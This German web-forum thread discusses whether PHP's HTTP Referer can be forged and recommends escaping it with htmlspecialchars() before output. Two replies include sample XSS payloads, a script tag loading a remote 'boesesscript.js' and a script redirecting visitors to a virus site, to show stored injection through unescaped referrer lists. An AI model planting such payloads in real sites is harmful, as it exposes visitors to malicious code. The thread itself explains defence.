Sicherheitslücke PHP Referrer
Kodi
- php
Hallo,
ich habe vor kurzem gelesen das ein Referrer in PHP stark
manipulierbar ist. Leider habe ich den Beitrag nicht mehr
gefunden und finde auch nichts weiteres darüber.
Was kann ein unsicherer Referrer anrichten, oder wie
kann ich mich vor diesen manipulationen schützen?
Finde leider nicht und hoffe _ _ _ _ _ _ _ _ _ _
Hallo Kodi,
ich habe vor kurzem gelesen das ein Referrer in PHP stark
manipulierbar ist.
Der Referrer ist generell Manipulierbar
Was kann ein unsicherer Referrer anrichten,
Ein Referrer ist weder sicher noch unsicher, sondern einfach nur ein Text, Höchstens ein verarbeitendes Script kann unsicher sein,
oder wie
kann ich mich vor diesen manipulationen schützen?
Garnicht.
Jonathan
wie
kann ich mich vor diesen manipulationen schützen?Garnicht.
Jonathan
Lol -
Heißt das der Referrer ist nur manipulierbar aber kann
keine großen Schäden anrichten?
Oder sollte man von einem Referrer eher Abstand nehmen.
Oder müssen die Referrer Infos validiert werden?
Kodi
Hello,
Oder sollte man von einem Referrer eher Abstand nehmen.
muss man nicht.
Oder müssen die Referrer Infos validiert werden?
nein, kannst du auch nicht, du musst dir bei jeglicher Verwendung bewusst sein, dass der Referer nur informatorisch genutzt werden kann und keinerlei verlässliche Informationen enthält. Du kannst eine Statistik führen, verlasse dich aber nicht darauf, dass sie korrekt ist.
MfG
Rouven
Also sollte man beim ausgeben der Referrer Informationen die String
sozusagen überprüfen und HTML bzw. Javaskript Code entfernen.
Geht oder reicht es dann mit strip_tags() bestimmte Zeichen zu
entfernen?
Gruss
Kodi
Hallo Kodi,
Also sollte man beim ausgeben der Referrer Informationen die String
sozusagen überprüfen und HTML bzw. Javaskript Code entfernen.
Jein, du musst es nicht zwingend entfernen, überlege dir nur, mit welchen gesendeten Referen bei dir irgendein unerwünschtes verhalten passieren könnte.
Geht oder reicht es dann mit strip_tags() bestimmte Zeichen zu
entfernen?
Besser ist vermutlich htmlentities(), du kannst dann zusätzlich noch überprüfen, ob der Referer ne gültige URL ist. Dsa betrifft natürlich nur die HTMl-Ausgabe. Falls du den Referer in ne Datenbank schreiben willst, musst du andere Methoden zum escapen verwenden und wenn du ihn nur mit irgendwas vergleichst musst (und solltest) du eigentlich keine solche Prüfung vornehmen.
Jonathan
echo $begrüßung;
Also sollte man beim ausgeben der Referrer Informationen die String sozusagen überprüfen und HTML bzw. Javaskript Code entfernen.
Geht oder reicht es dann mit strip_tags() bestimmte Zeichen zu entfernen?
Das Grundprinzip lautet: Wann immer ein Wert in einen bestimmten Kontext ausgegeben werden soll, muss dieser dem Kontext entsprechend behandelt werden.
Wenn du etwas in Richtung HTML ausgeben willst, musst du diejenigen Zeichen, die HTML als Code ansehen kann, so notieren, dass sie als normale Daten interpretiert werden. Konkret sind die HTML-eigenen Zeichen zu beachten. PHP stellt eine Funktion bereit, die genau diese Zeichen berücksichtigt: htmlspecialchars(). Wende diese stets auf die variablen Werte an, die du ausgeben möchtest.
Mit der kontextgerechten Behandlung kann schon mal nichts mehr passieren, wenn sie richtig angewendet wird. Dass dann eventuell Inhalte auf der Seite zu sehen sind, die man da nicht haben will, ist ein anderes Problem. Hier hilft dann nur eine Prüfung auf Inhalte. Das ist technisch nicht immer vollständig zu bewerkstelligen, weil dazu bekannt sein muss, was als "ungewollt" betrachtet werden soll. Und das weiß man im Vorfeld nicht immer konkret, bevor man es gesehen hat.
echo "$verabschiedung $name";
Hallo Kodi,
Heißt das der Referrer ist nur manipulierbar aber kann
keine großen Schäden anrichten?
Der Referer ist beliebig manipulierbar aber an sich ungefährlich. Schaden anrichten kann er wenn dein Auswertungsscript anfällig z.B. gegen HTML-Injection ist.
Wenn du z.B. aus irendwelchen schwachsinnigen Gründen die 10 letzten Referer auf deine Seite schreibst und dabei keine HTML-Steuerzeichen escapest, kann ich dir einfach
<script src='http:example.org/boesesscript.js'></script>
oder auch
<h1 style="color:red">Diese Seite ist unsicher, Hahahaha</h1>
als Referer schicken und du baust das dann in deine Seite ein.
Oder sollte man von einem Referrer eher Abstand nehmen.
Wenn du meinst, ob du von der Verarbeitung des Referrern abstand nehmen solltest, das ist nicht zwingend notwendig. Nur solltest du halt bedenken, dass der beliebig manipulierbar ist.
Oder müssen die Referrer Infos validiert werden?
Wie willst du das denn machen?
Jonathan
Wie willst du das denn machen?
Beispielsweise mit einem regulären Ausdruck prüfen, ob der Referer der Syntax einer URL entspricht? ;)
Gruß,
Andreas
Hallo RFZ,
Beispielsweise mit einem regulären Ausdruck prüfen, ob der Referer der Syntax einer URL entspricht? ;)
Kann man machen. Das hindert einen aber immernoch nicht daran, eine falsche URL zu senden. Und man muss aufpassen, dass der RegExp nicht sowas wie http://example.org/<b>Bla</b> durchlässt. Oder falls das verarbeitende Script mit HTMl-Ausgabe die URL eben dekodiert und man sowas sendet wie http://example.org/%3Cb%3EBla%3C/b%3E muss man eben noch zusätzlich mit HTML-Entities escapen.
Jonathan
Hallo Kodi,
Was kann ein unsicherer Referrer anrichten
manche Webseiten führen irgendwo auf der Seite eine Liste: "verlinkt von" oder "letzte Besucher von:" Wenn dort ungeprüft der Referer verwendet wird kann man einen Referer in der Art:
<script type="text/javascript">location.href="http://SeiteMitVirus.de"</script>
einschmuggeln. Und künftig wird jeder Besucher der Seite (sofern javascript aktiv ist) auf http://SeiteMitVirus.de umgeleitet.
So kann man auch neugierige Webmaster auf verseuchte Seiten locken. Die Referer werden fast immer in den Logfiles des Servers angezeigt. Ein unvorsichtiger Klick (der flasche Browser) und schon hat man sich was eingefangen.
wie kann ich mich vor diesen manipulationen schützen?
Den Referer nie ungeprüft verwenden und für den zweiten Fall http://brain.yubb.de/
Grüße,
Jochen
Hi,
manche Webseiten führen irgendwo auf der Seite eine Liste: "verlinkt von" oder "letzte Besucher von:" Wenn dort ungeprüft der Referer verwendet wird kann man einen Referer in der Art:
<script type="text/javascript">location.href="http://SeiteMitVirus.de"</script>
einschmuggeln. Und künftig wird jeder Besucher der Seite (sofern javascript aktiv ist) auf http://SeiteMitVirus.de umgeleitet.
Selbst wenn dieses Szenario nicht eintritt - oftmals werden z.B. Weblog-Eintrage mit Referrern, die auf Porno-Seiten verweisen, abgerufen - in der Hoffnung, dass jemand diese anschliessend auf seiner Weblog-Seite anzeigt, und damit zumindest kurzfristig fuer eine Verlinkung dieser Seiten sorgt.
MfG ChrisB